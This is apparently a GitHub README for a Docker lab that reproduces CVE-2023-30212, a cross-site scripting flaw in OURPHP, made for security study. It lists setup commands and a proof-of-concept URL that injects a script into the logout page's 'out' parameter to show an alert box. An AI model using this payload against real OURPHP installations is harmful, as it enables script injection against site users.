CVE-2023-30212 PoC — OURPHP 跨站脚本漏洞

Description

GitHub repository with Dockerfile and files to create a vulnerable environment for CVE-2023-30212, enabling exploration of the exploitability of this security vulnerability. Ideal for research and security enthusiasts to study and understand the impact of the vulnerability in a controlled setting.

Readme

# CVE-2023-30212-Lab
GitHub repository with Dockerfile and files to create a vulnerable environment for CVE-2023-30212, enabling exploration of the exploitability of this security vulnerability. Ideal for research and security enthusiasts to study and understand the impact of the vulnerability in a controlled setting.







Download this repository by 

git clone https://github.com/mallutrojan/CVE-2023-30212-Lab.git

Cd CVE-2023-30212-Lab

chmod u+x lab.sh

./lab.sh

http://localhost and set up the user using password

execute this url in browser

http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=%3C/script%3E%3Cscript%3Ealert(`xss`)%3C/script%3E

File Snapshot

Remarks